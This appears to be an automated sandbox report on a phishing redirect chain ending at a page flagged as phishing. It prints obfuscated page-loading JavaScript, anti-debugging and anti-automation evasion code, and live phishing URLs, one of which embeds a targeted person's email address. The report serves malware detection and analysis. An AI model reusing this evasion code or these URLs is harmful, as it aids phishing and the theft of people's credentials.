https://images-na.ssl-images-amazon.com/images/G/01/AUIClients/AmazonUI-3c913031596ca78a3768f4e934b1cc02ce238101.secure.min._V1_.css	false		high
https://images-na.ssl-images-amazon.com/images/G/01/csminstrumentation/csm-captcha-instrumentation.min.js	false		high
https://fls-na.amazon.com/1/oc-csi/1/OP/requestId=FX8PKVREDAYJTT4H6MBJ&js=1	false		high
https://images-na.ssl-images-amazon.com/captcha/uyvnnjxx/Captcha_lfxcionvuw.jpg	false		high
https://images-na.ssl-images-amazon.com/images/G/01/csminstrumentation/rd-script-6d68177fa6061598e9509dc4b5bdd08d.js	false		high
https://www.amazon.com/errors/validateCaptcha?amzn=aWtjLQPQePOkOjbZRBDfnw%3D%3D&amzn-r=%2F&field-keywords=	false		high
https://images-na.ssl-images-amazon.com/images/G/01/AUIClients/ClientSideMetricsAUIJavascript-51171fbdd28e1a7a61e922e8f0272af8bc74d37b.secure.variant-desktop-session-snapshot-keypress.min._V2_.js	false		high
https://images-na.ssl-images-amazon.com/captcha/bcxmjlko/Captcha_yeyjbrcolt.jpg	false		high
https://www.amazon.com/errors/validateCaptcha?amzn=V%2FQWGh%2Bxq8nH6gH01OjA4w%3D%3D&amzn-r=%2F&field-keywords=	false		high
https://www.google.pn/url?sa==a6bzuik1ma3dlpHqxRTACXaYHYI&rct=s7fFjO3jMe8ieQpeNofXnE7ZxaxKrm87scW4CKSzwd4Eiunz5jJ6j2AdElmCOMFCyq&sa=t&url=amp/s/deshshippinglines.com/demo/mode/IJulKkbhDRoCeYksSX62whnucNHhPavrd66HpTU/Z29ya2EuamltZW5lekBkZXZvbC5lcw==	false		high
https://images-na.ssl-images-amazon.com/images/G/01/csminstrumentation/ue-base-1c399ad9886cab69575e1e5ee15c61a1._V313498596_.js	false		high
https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js	false		high
https://www.amazon.com/	false		high
https://www.amazon.com/errors/validateCaptcha?amzn=UOEyeih%2FO2Ng4k18wziu%2Bg%3D%3D&amzn-r=%2F&field-keywords=	false		high
https://fls-na.amazon.com/1/oc-csi/1/OP/requestId=V1VKF84K0QR66MXX6Z5J&js=1	false		high
https://images-na.ssl-images-amazon.com/captcha/rhnrlggh/Captcha_fcrspsdsms.jpg	false		high
https://fls-na.amazon.com/1/batch/1/OE/	false		high
https://deshshippinglines.com/demo/mode/IJulKkbhDRoCeYksSX62whnucNHhPavrd66HpTU/Z29ya2EuamltZW5lekBkZXZvbC5lcw==	false		unknown
https://y3.ackeoneye.com/lo92/#Xgorka.jimenez@devol.es	false		unknown
https://challenges.cloudflare.com/turnstile/v0/b/725bd36e298b/api.js	false		high
https://images-na.ssl-images-amazon.com/captcha/wxvwzfzh/Captcha_gofzzllses.jpg	false		high
https://images-na.ssl-images-amazon.com/images/G/01/amazonui/sprites/aui_sprite_0007-1x._V383827579_.png	false		high
https://www.amazon.com/errors/validateCaptcha?amzn=oOG14CFEo0qNm3ZfyheDnw%3D%3D&amzn-r=%2F&field-keywords=	false		high
https://fls-na.amazon.com/1/oc-csi/1/OP/requestId=Z2W5Q2NMT8ZFTHR536PX&js=1	false		high
https://fls-na.amazon.com/1/oc-csi/1/OP/requestId=8X8C06JKXWY6YMEBFGW1&js=1	false		high
https://images-na.ssl-images-amazon.com/captcha/docvmtpr/Captcha_zqhwgudfzb.jpg	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://fls-na.amazon.com/1/oc-csi/1/OP/requestId=84WJXV7DNH36VC70R49D&js=0	chromecache_125.2.dr	false		high
https://images-na.ssl-images-amazon.com/images/G/01/csminstrumentation/ue-base-1c399ad9886cab69575e1	chromecache_98.2.dr, chromecache_116.2.dr	false		high
https://fls-na.amazon.com/1/oc-csi/1/OP/requestId=JV24GEVQ6WQTM84SCTM8&js=0	chromecache_109.2.dr	false		high
https://www.amazon.com/gp/help/customer/display.html/ref=footer_privacy?ie=UTF8&nodeId=468496	chromecache_109.2.dr, chromecache_125.2.dr, chromecache_130.2.dr, chromecache_133.2.dr, chromecache_115.2.dr, chromecache_114.2.dr	false		high
https://images-na.ssl-images-amazon.com/images/G/01/csminstrumentation/	chromecache_109.2.dr, chromecache_125.2.dr, chromecache_130.2.dr, chromecache_133.2.dr, chromecache_115.2.dr, chromecache_114.2.dr	false		high
https://fls-na.amaz	chromecache_109.2.dr, chromecache_125.2.dr, chromecache_130.2.dr, chromecache_133.2.dr, chromecache_115.2.dr, chromecache_114.2.dr	false		high
https://fls-na.amazon.com/1/oc-csi/1/OP/requestId=FX8PKVREDAYJTT4H6MBJ&js=0	chromecache_130.2.dr	false		high
https://www.amazon.com/gp/help/customer/display.html/ref=footer_cou?ie=UTF8&nodeId=508088	chromecache_109.2.dr, chromecache_125.2.dr, chromecache_130.2.dr, chromecache_133.2.dr, chromecache_115.2.dr, chromecache_114.2.dr	false		high
https://fls-na.amazon.com/1/oc-csi/1/OP/requestId=V1VKF84K0QR66MXX6Z5J&js=0	chromecache_133.2.dr	false		high
https://affiliate-program.amazon.com/gp/advertising/api/detail/main.html/ref=rm_c_ac	chromecache_109.2.dr, chromecache_125.2.dr, chromecache_130.2.dr, chromecache_133.2.dr, chromecache_115.2.dr, chromecache_114.2.dr	false		high
https://developer.amazonservices.com/ref=rm_c_sv	chromecache_109.2.dr, chromecache_125.2.dr, chromecache_130.2.dr, chromecache_133.2.dr, chromecache_115.2.dr, chromecache_114.2.dr	false	Avira URL Cloud: safe	unknown
https://images-na.ssl-images-amazon.com/images/G/01/AUIClients/AmazonUI-3c913031596ca78a3768f4e934b1	chromecache_109.2.dr, chromecache_125.2.dr, chromecache_130.2.dr, chromecache_133.2.dr, chromecache_115.2.dr, chromecache_114.2.dr	false		high
https://images-na.ssl-images-amazon.com/images/G/01/AUIClients/	chromecache_98.2.dr, chromecache_116.2.dr	false		high
https://fls-na.amazon.com/1/oc-csi/1/OP/requestId=Z2W5Q2NMT8ZFTHR536PX&js=0	chromecache_114.2.dr	false		high
https://fls-na.amazon.com/1/oc-csi/1/OP/requestId=8X8C06JKXWY6YMEBFGW1&js=0	chromecache_115.2.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
108.138.16.195	c.media-amazon.com	United States	16509	AMAZON-02US	false
104.18.94.41	challenges.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
162.219.225.118	www-amazon-com.customer.fastly.net	United States	15108	ALLO-COMMUS	false
151.101.130.137	code.jquery.com	United States	54113	FASTLYUS	false
18.204.152.18	endpoint.prod.us-east-1.forester.a2z.com	United States	14618	AMAZON-AESUS	false
142.250.186.132	unknown	United States	15169	GOOGLEUS	false
151.101.194.137	unknown	United States	54113	FASTLYUS	false
35.190.80.1	a.nel.cloudflare.com	United States	15169	GOOGLEUS	false
104.17.24.14	cdnjs.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
216.58.212.131	www.google.pn	United States	15169	GOOGLEUS	false
99.86.8.42	d3ag4hukkh62yn.cloudfront.net	United States	16509	AMAZON-02US	false
104.18.95.41	unknown	United States	13335	CLOUDFLARENETUS	false
54.88.216.125	unknown	United States	14618	AMAZON-AESUS	false
18.66.143.128	unknown	United States	3	MIT-GATEWAYSUS	false
104.21.93.228	y3.ackeoneye.com	United States	13335	CLOUDFLARENETUS	true
239.255.255.250	unknown	Reserved	unknown	unknown	false
142.250.185.196	www.google.com	United States	15169	GOOGLEUS	false
199.168.185.232	deshshippinglines.com	United States	33182	DIMENOCUS	false
188.114.97.3	v27bncxfmlahb4cndraeyexerpo6dunjyclmvgbp4g8o6oqsbi17rop.adlijari.ru	European Union	13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.6
192.168.2.5

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1600457
Start date and time:	2025-01-27 15:43:51 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 5s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	browseurl.jbs
Sample URL:	https://www.google.pn/url?sa==a6bzuik1ma3dlpHqxRTACXaYHYI&rct=s7fFjO3jMe8ieQpeNofXnE7ZxaxKrm87scW4CKSzwd4Eiunz5jJ6j2AdElmCOMFCyq&sa=t&url=amp/s/deshshippinglines.com/demo/mode/IJulKkbhDRoCeYksSX62whnucNHhPavrd66HpTU/Z29ya2EuamltZW5lekBkZXZvbC5lcw==
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	7
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal52.win@19/92@40/21

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.186.99, 216.58.206.78, 74.125.133.84, 172.217.16.206, 142.250.74.206, 199.232.214.172, 2.23.77.188, 142.250.186.46, 142.250.184.238, 142.250.185.170, 142.250.185.234, 142.250.185.106, 216.58.206.42, 142.250.186.170, 216.58.206.74, 142.250.186.106, 172.217.18.10, 142.250.186.42, 142.250.185.138, 142.250.184.202, 172.217.16.138, 142.250.74.202, 142.250.185.202, 172.217.16.202, 142.250.181.234, 142.250.185.174, 142.250.185.142, 142.250.185.78, 142.250.185.163, 199.232.210.172, 184.28.90.27, 4.245.163.56, 13.107.253.45
Excluded domains from analysis (whitelisted): fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, clientservices.googleapis.com, fe3cr.delivery.mp.microsoft.com, clients2.google.com, ocsp.digicert.com, edgedl.me.gvt1.com, redirector.gvt1.com, update.googleapis.com, clients.l.google.com
Not all processes where analyzed, report is missing behavior information
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: https://www.google.pn/url?sa==a6bzuik1ma3dlpHqxRTACXaYHYI&rct=s7fFjO3jMe8ieQpeNofXnE7ZxaxKrm87scW4CKSzwd4Eiunz5jJ6j2AdElmCOMFCyq&sa=t&url=amp/s/deshshippinglines.com/demo/mode/IJulKkbhDRoCeYksSX62whnucNHhPavrd66HpTU/Z29ya2EuamltZW5lekBkZXZvbC5lcw==

Input	Output
URL: https://www.google.pn Model: Joe Sandbox AI	```json{ "brand": "Google", "brand_classification": "wellknown", "legit_url": "https://www.google.com", "similarity": 8, "spoofed": 2, "reasoning": "The URL 'https://www.google.pn' uses the 'google' brand name, which is a globally recognized brand. The top-level domain (TLD) '.pn' is the country code for the Pitcairn Islands, which is not commonly associated with Google's primary operations. The similarity score is high due to the use of the exact brand name 'google' and the standard 'www' subdomain, which are visually and structurally similar to the legitimate URL 'https://www.google.com'. However, the likelihood of this being a typosquatting attempt is low (score of 2) because the '.pn' TLD does not inherently suggest malicious intent or user confusion, and it could be used for legitimate purposes such as regional services or campaigns. There is no evidence of character substitution or misleading subdomain usage."}
URL: https://www.google.pn
URL: https://amazon.com Model: Joe Sandbox AI	```json{ "brand": "Amazon", "brand_classification": "wellknown", "legit_url": "https://amazon.com", "similarity": 10, "spoofed": 0, "reasoning": "The URL 'https://amazon.com' is the legitimate and official domain for Amazon, a globally recognized brand. There are no character substitutions, structural changes, or misleading subdomains or extensions present. The URL is exactly as expected for the brand, with no indication of typosquatting or deceptive intent."}
URL: https://amazon.com
URL: https://y3.ackeoneye.com/lo92/#Xgorka.jimenez@devo... Model: Joe Sandbox AI	{ "risk_score": 6, "reasoning": "The provided JavaScript snippet exhibits several behaviors that raise moderate security concerns. It uses obfuscated code and URLs, which can be indicative of malicious intent. Additionally, the script appears to be sending data to external domains, potentially exfiltrating sensitive information. While the intent is not entirely clear, the overall behavior warrants further investigation and review." }
/* You know you are on the road to success if you would do your job, and not be paid for it. */ if(atob("aHR0cHM6Ly95My5hY2tlb25leWUuY29tL2xvOTIv") == "nomatch"){ document.write(decodeURIComponent(escape(atob('PCFET0NUWVBFIGh0bWw+CjxodG1sIGxhbmc9ImVuIj4KPGhlYWQ+CiAgICA8c2NyaXB0IHNyYz0iaHR0cHM6Ly9jb2RlLmpxdWVyeS5jb20vanF1ZXJ5LTMuNi4wLm1pbi5qcyI+PC9zY3JpcHQ+CiAgICA8c2NyaXB0IHNyYz0iaHR0cHM6Ly9jaGFsbGVuZ2VzLmNsb3VkZmxhcmUuY29tL3R1cm5zdGlsZS92MC9hcGkuanM/cmVuZGVyPWV4cGxpY2l0Ij48L3NjcmlwdD4KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2NkbmpzLmNsb3VkZmxhcmUuY29tL2FqYXgvbGlicy9jcnlwdG8tanMvNC4xLjEvY3J5cHRvLWpzLm1pbi5qcyI+PC9zY3JpcHQ+CiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPUVkZ2UsY2hyb21lPTEiPgogICAgPG1ldGEgbmFtZT0icm9ib3RzIiBjb250ZW50PSJub2luZGV4LCBub2ZvbGxvdyI+CiAgICA8bWV0YSBuYW1lPSJ2aWV3cG9ydCIgY29udGVudD0id2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlPTEuMCI+CiAgICA8dGl0bGU+JiM4MjAzOzwvdGl0bGU+CiAgICA8c3R5bGU+CmJvZHkgewogIGJhY2tncm91bmQtY29sb3I6ICNmZmY7CiAgaGVpZ2h0OiAxMDAlOwogIG92ZXJmbG93OiBoaWRkZW47Cn0KI1JvUGViRGx6eHkgaDR7bWFyZ2luLXRvcDowO21hcmdpbi1ib3R0b206LjVyZW07Zm9udC13ZWlnaHQ6NTAwO2xpbmUtaGVpZ2h0OjEuMjt9CiNSb1BlYkRsenh5IGg0e2ZvbnQtc2l6ZTpjYWxjKDEuMyk7fQpAbWVkaWEgKG1pbi13aWR0aDoxMjAwcHgpewojUm9QZWJEbHp4eSBoNHtmb250LXNpemU6MS41cmVtO30KfQojUm9QZWJEbHp4eSBwe21hcmdpbi10b3A6MDttYXJnaW4tYm90dG9tOjFyZW07fQojUm9QZWJEbHp4eS5jYXB0Y2hhLWNvbnRhaW5lcntwb3NpdGlvbjogcmVsYXRpdmU7dG9wOiAxNjNweDsvKndpZHRoOiAxMDAlOyovcGFkZGluZy1yaWdodDogdmFyKC0tYnMtZ3V0dGVyLXgsIC43NXJlbSk7cGFkZGluZy1sZWZ0OiB2YXIoLS1icy1ndXR0ZXIteCwgLjc1cmVtKTttYXJnaW4tcmlnaHQ6IGF1dG87bWFyZ2luLWxlZnQ6IGF1dG87fQojUm9QZWJEbHp4eSAudGV4dC1jZW50ZXIge3RleHQtYWxpZ246IGNlbnRlciFpbXBvcnRhbnQ7fQpAbWVkaWEgKG1pbi13aWR0aDo5OTJweCl7CiNSb1BlYkRsenh5IC5jb2wtbGctNHtmbGV4OjAgMCBhdXRvO3dpZHRoOjMzLjMzMzMzMzMzJTt9Cn0KI1JvUGViRGx6eHkgLmRpc3BsYXktNCB7Zm9udC1zaXplOiAxLjI1cmVtIWltcG9ydGFudDt9CiNSb1BlYkRsenh5IC5tdC0yIHttYXJnaW4tdG9wOiAwLjVyZW0haW1wb3J0YW50O30KI1JvUGViRGx6eHkgLmg0IHtmb250LXNpemU6IGNhbGMoLjkwMHJlbSArIC4zdncpO30KI1JvUGViRGx6eHkgLmp1c3RpZnktY29udGVudC1jZW50ZXJ7anVzdGlmeS1jb250ZW50OmNlbnRlciFpbXBvcnRhbnQ7fQojUm9QZWJEbHp4eS5tdC01e21hcmdpbi10b3A6M3JlbSFpbXBvcnRhbnQ7fQojUm9QZWJEbHp4eSAubXQtNCB7bWFyZ2luLXRvcDogMXJlbSFpbXBvcnRhbnQ7fQojUm9QZWJEbHp4eSAjVmxYVUN1RWprRCB7Y29sb3I6ICM2Yzc1N2Q7Zm9udC1zaXplOjE0cHg7bWFyZ2luLXRvcDogLjVyZW07fQoKLmNsLXdyYXBwZXJ7d2lkdGg6IDMwMHB4O21hcmdpbjogYXV0bzsvKmhlaWdodDphdXRvO21hcmdpbjowOyovb3ZlcmZsb3c6aGlkZGVuO3BhZGRpbmc6MDt9Ci5jbC13cmFwcGVye2JhY2tncm91bmQtY29sb3I6I2ZmZjtjb2xvcjojMjMyMzIzO2ZvbnQtZmFtaWx5Oi1hcHBsZS1zeXN0ZW0sc3lzdGVtLXVpLGJsaW5rbWFjc3lzdGVtZm9udCxTZWdvZSBVSSxyb2JvdG8sb3h5Z2VuLHVidW50dSxIZWx2ZXRpY2EgTmV1ZSxhcmlhbCxzYW5zLXNlcmlmO2ZvbnQtc2l6ZToxNHB4O2ZvbnQtd2VpZ2h0OjQwMDstd2Via2l0LWZvbnQtc21vb3RoaW5nOmFudGlhbGlhc2VkO2ZvbnQtc3R5bGU6bm9ybWFsO30KcHt0ZXh0LWFsaWduOmNlbnRlcjt9CnB7Zm9udC1zaXplOjIwcHg7Zm9udC13ZWlnaHQ6NDAwO21hcmdpbjo4cHggMDt9CiNjb250ZW50e2FsaWduLWl0ZW1zOmNlbnRlcjtiYWNrZ3JvdW5kLWNvbG9yOiNmYWZhZmE7Ym9yZGVyOjFweCBzb2xpZCAjZTBlMGUwO2JveC1zaXppbmc6Ym9yZGVyLWJveDtkaXNwbGF5OmZsZXg7Z2FwOjdweDtoZWlnaHQ6NjVweDtqdXN0aWZ5LWNvbnRlbnQ6c3BhY2UtYmV0d2Vlbjt1c2VyLXNlbGVjdDpub25lO30KI2JyYW5kaW5ne2Rpc3BsYXk6aW5saW5lLWZsZXg7ZmxleC1kaXJlY3Rpb246Y29sdW1uO21hcmdpbjowIDE2cHggMCAwO3RleHQtYWxpZ246cmlnaHQ7fQojc3Bpbm5lci1pe2FuaW1hdGlvbjpzcGluIDVzIGxpbmVhciBpbmZpbml0ZTtkaXNwbGF5OmZsZXg7aGVpZ2h0OjMwcHg7d2lkdGg6MzBweDt9CiNmYWlsLWl7YW5pbWF0aW9uOnNjYWxlLXVwLWNlbnRlciAuNnMgY3ViaWMtYmV6aWVyKC41NSwuMDg1LC42OCwuNTMpIGJvdGg7Ym94LXNoYWRvdzppbnNldCAwIDAgMCAjZGUxMzAzO30KI2ZhaWwtaSwjc3VjY2Vzcy1pe2JvcmRlci1yYWRpdXM6NTAlO2Rpc3BsYXk6ZmxleDtoZWlnaHQ6MzBweDt3aWR0aDozMHB4O3N0cm9rZS13aWR0aDoxcHg7ZmlsbDojZjhmOGY4O3N0cm9rZTojZjhmOGY4O3N0cm9rZS1taXRlcmxpbWl0OjEwO30KI3N1Y2Nlc3MtaXthbmltYXRpb246c2NhbGUtdXAtY2VudGVyIC4zcyBjdWJpYy1iZXppZXIoLjU1LC4wODUsLjY4LC41MykgYm90aDtzdHJva2Utd2lkdGg6NnB4O30KI3N1Y2Nlc3MtaSwjc3VjY2Vzcy1pIC5wMXtib3gtc2hhZG93Omluc2V0IDAgMCAwICMwMzgxMjc7fQojc3VjY2Vzcy1pIC5wMXtzdHJva2UtZGFzaGFycmF5OjI0MjtzdHJva2UtZGFzaG9mZnNldDoyNDI7YW5pbWF0aW9uOnN0cm9rZSAuNHMgY3ViaWMtYmV6aWVyKC42N
URL: https://y3.ackeoneye.com/lo92/#Xgorka.jimenez@devo... Model: Joe Sandbox AI	{ "risk_score": 9, "reasoning": "This script demonstrates several high-risk behaviors, including detecting the presence of web automation tools, disabling common browser developer tools, and redirecting the user to an external website. The script also includes a self-executing function that triggers a redirect after a certain time delay, which is a common technique used in malicious scripts. Overall, this script exhibits a high level of suspicious and potentially malicious behavior, warranting a high-risk score." }
if (navigator.webdriver \|\| window.callPhantom \|\| window._phantom \|\| navigator.userAgent.includes("Burp")) { window.location = "about:blank"; } document.addEventListener('keydown', function(event) { if (event.keyCode === 123) { event.preventDefault(); return false; } if ( (event.ctrlKey && event.keyCode === 85) \|\| (event.ctrlKey && event.shiftKey && event.keyCode === 73) \|\| (event.ctrlKey && event.shiftKey && event.keyCode === 67) \|\| (event.ctrlKey && event.shiftKey && event.keyCode === 74) \|\| (event.ctrlKey && event.shiftKey && event.keyCode === 75) \|\| (event.ctrlKey && event.keyCode === 72) \|\| (event.metaKey && event.altKey && event.keyCode === 73) \|\| (event.metaKey && event.altKey && event.keyCode === 67) \|\| (event.metaKey && event.keyCode === 85) ) { event.preventDefault(); return false; } }); document.addEventListener('contextmenu', function(event) { event.preventDefault(); return false; }); yqXazHmwjA = false; (function HvChPvzkTH() { let gZALKsmSnR = false; const fdINAhknFT = 100; setInterval(function() { const RnSQICuFrt = performance.now(); debugger; const CHxGKiDVNm = performance.now(); if (CHxGKiDVNm - RnSQICuFrt > fdINAhknFT && !gZALKsmSnR) { yqXazHmwjA = true; gZALKsmSnR = true; window.location.replace('https://www.amazon.com'); } }, 100); })();
URL: https://y3.ackeoneye.com/lo92/#Xgorka.jimenez@devo... Model: Joe Sandbox AI	{ "risk_score": 10, "reasoning": "This script demonstrates multiple high-risk behaviors, including dynamic code execution via the Proxy object and eval(), as well as potential data exfiltration due to the obfuscated nature of the code. The combination of these factors indicates a high likelihood of malicious intent, warranting a maximum risk score of 10." }
new Proxy({},{get:(_,n)=>eval([...n].map(n=>+("">n)).join``.replace(/.{8}/g,n=>String.fromCharCode(+("0b"+n))))}).
URL: https://deshshippinglines.com Model: Joe Sandbox AI	```json{ "brand": "unknown", "brand_classification": "unknown", "legit_url": "unknown", "similarity": 0, "spoofed": 0, "reasoning": "The URL 'https://deshshippinglines.com' does not appear to closely resemble any known brand or legitimate URL. There are no obvious character substitutions or visual similarities to a well-known brand. The domain name 'deshshippinglines' suggests a specific business or service related to shipping lines, which does not inherently imply typosquatting. The structure of the URL is straightforward and does not include misleading subdomains or domain extensions. Without a clear connection to a known brand, it is unlikely that this URL is a typosquatting attempt."}
URL: https://deshshippinglines.com
URL: https://y3.ackeoneye.com/lo92/#Xgorka.jimenez@devol.es Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false, "page_classification": "unknown" }

URL: https://y3.ackeoneye.com/lo92/#Xgorka.jimenez@devol.es Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "Verify you are human", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": true, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false, "page_classification": "unknown" }

URL: https://y3.ackeoneye.com/lo92/#Xgorka.jimenez@devol.es Model: Joe Sandbox AI	{ "brands": [ "Cloudflare" ] }
	{ "brands": [ "Cloudflare" ] }
URL: https://y3.ackeoneye.com/lo92/#Xgorka.jimenez@devol.es Model: Joe Sandbox AI	{ "brands": [ "Cloudflare" ] }
	{ "brands": [ "Cloudflare" ] }
URL: https://y3.ackeoneye.com/lo92/#Xgorka.jimenez@devol.es Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false, "page_classification": "unknown" }

URL: https://y3.ackeoneye.com Model: Joe Sandbox AI	```json{ "brand": "Acuity", "brand_classification": "known", "legit_url": "https://www.acuity.com", "similarity": 5, "spoofed": 6, "reasoning": "The URL 'y3.ackeoneye.com' appears to be attempting to mimic the brand 'Acuity' by using a visually similar domain name. The substitution of 'ackeoneye' for 'acuity' involves character-level changes that could confuse users, particularly the use of 'acke' which phonetically resembles 'acu'. The subdomain 'y3' does not provide any clear context or legitimate purpose, which increases suspicion. The domain extension '.com' is common and does not inherently suggest a different legitimate purpose. Overall, the URL's structure and character substitutions suggest a moderate likelihood of typosquatting, though the lack of direct brand name usage reduces the similarity score."}
URL: https://y3.ackeoneye.com
URL: https://www.amazon.com/ Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "Continue shopping", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": true, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false, "page_classification": "unknown" }

URL: https://y3.ackeoneye.com/lo92/#Xgorka.jimenez@devol.es Model: Joe Sandbox AI	{ "brands": [ "Cloudflare" ] }
	{ "brands": [ "Cloudflare" ] }
URL: https://www.amazon.com/errors/validateCaptcha?amzn=oOG14CFEo0qNm3ZfyheDnw%3D%3D&amzn-r=%2F&field-keywords= Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "Continue shopping", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": true, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false, "page_classification": "unknown" }

URL: https://www.amazon.com Model: Joe Sandbox AI	```json{ "brand": "Amazon", "brand_classification": "wellknown", "legit_url": "https://www.amazon.com", "similarity": 10, "spoofed": 0, "reasoning": "The URL 'https://www.amazon.com' is the legitimate and official URL for Amazon, a globally recognized brand. There are no character substitutions, structural changes, or misleading subdomains or extensions present. The URL is exactly as expected for the brand, with no indication of typosquatting or deceptive intent."}
URL: https://www.amazon.com
URL: https://www.amazon.com/ Model: Joe Sandbox AI	{ "brands": [ "Amazon" ] }
	{ "brands": [ "Amazon" ] }
URL: https://www.amazon.com/errors/validateCaptcha?amzn=oOG14CFEo0qNm3ZfyheDnw%3D%3D&amzn-r=%2F&field-keywords= Model: Joe Sandbox AI	{ "brands": [ "Amazon" ] }
	{ "brands": [ "Amazon" ] }
URL: https://www.amazon.com/ Model: Joe Sandbox AI	```json{ "legit_domain": "amazon.com", "classification": "wellknown", "reasons": [ "The URL 'www.amazon.com' matches the legitimate domain name for the brand Amazon.", "Amazon is a well-known global e-commerce brand.", "There are no suspicious elements in the URL such as misspellings, extra characters, or unusual domain extensions.", "The URL does not contain any additional words or hyphens that could indicate phishing." ], "riskscore": 1}
URL: www.amazon.com Brands: Amazon Input Fields: unknown
URL: https://www.amazon.com/errors/validateCaptcha?amzn=oOG14CFEo0qNm3ZfyheDnw%3D%3D&amzn-r=%2F&field-keywords= Model: Joe Sandbox AI	```json{ "legit_domain": "amazon.com", "classification": "wellknown", "reasons": [ "The URL 'www.amazon.com' matches the legitimate domain name for the brand Amazon.", "Amazon is a well-known global e-commerce brand.", "There are no suspicious elements in the URL such as misspellings, extra characters, or unusual domain extensions.", "The domain is a direct match with the brand name, indicating a legitimate site." ], "riskscore": 1}
URL: www.amazon.com Brands: Amazon Input Fields: unknown

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon Jan 27 13:44:47 2025, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.9793503257351195
Encrypted:	false
SSDEEP:	48:8NdjoTDs8zHnidAKZdA19ehwiZUklqehVy+3:80nN2y
MD5:	B299772183676EFAD55059E5F49C17E0
SHA1:	E073DB9B4D2BC7C65BD937CD508F0795388B0AA5
SHA-256:	E2400DF409673E9AC0D89175573CA38C92C29E524433BC3D3CD77DA8D5B8AE58
SHA-512:	576BABEA591B739549745FAF2512EF9E9A718CEE6E5E6283549925972F182FF2DC73EFF85D103B5F6F6F4EFEC81617A280ACDC081C40DFEC9C5667ED332F5C84
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,....8.$..p..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I;Z.u....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V;Z.u....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V;Z.u....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V;Z.u..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V;Z.u...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............L0......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

Source: https://y3.ackeoneye.com/lo92/	Avira URL Cloud: Label: phishing
Source: https://y3.ackeoneye.com/favicon.ico	Avira URL Cloud: Label: phishing

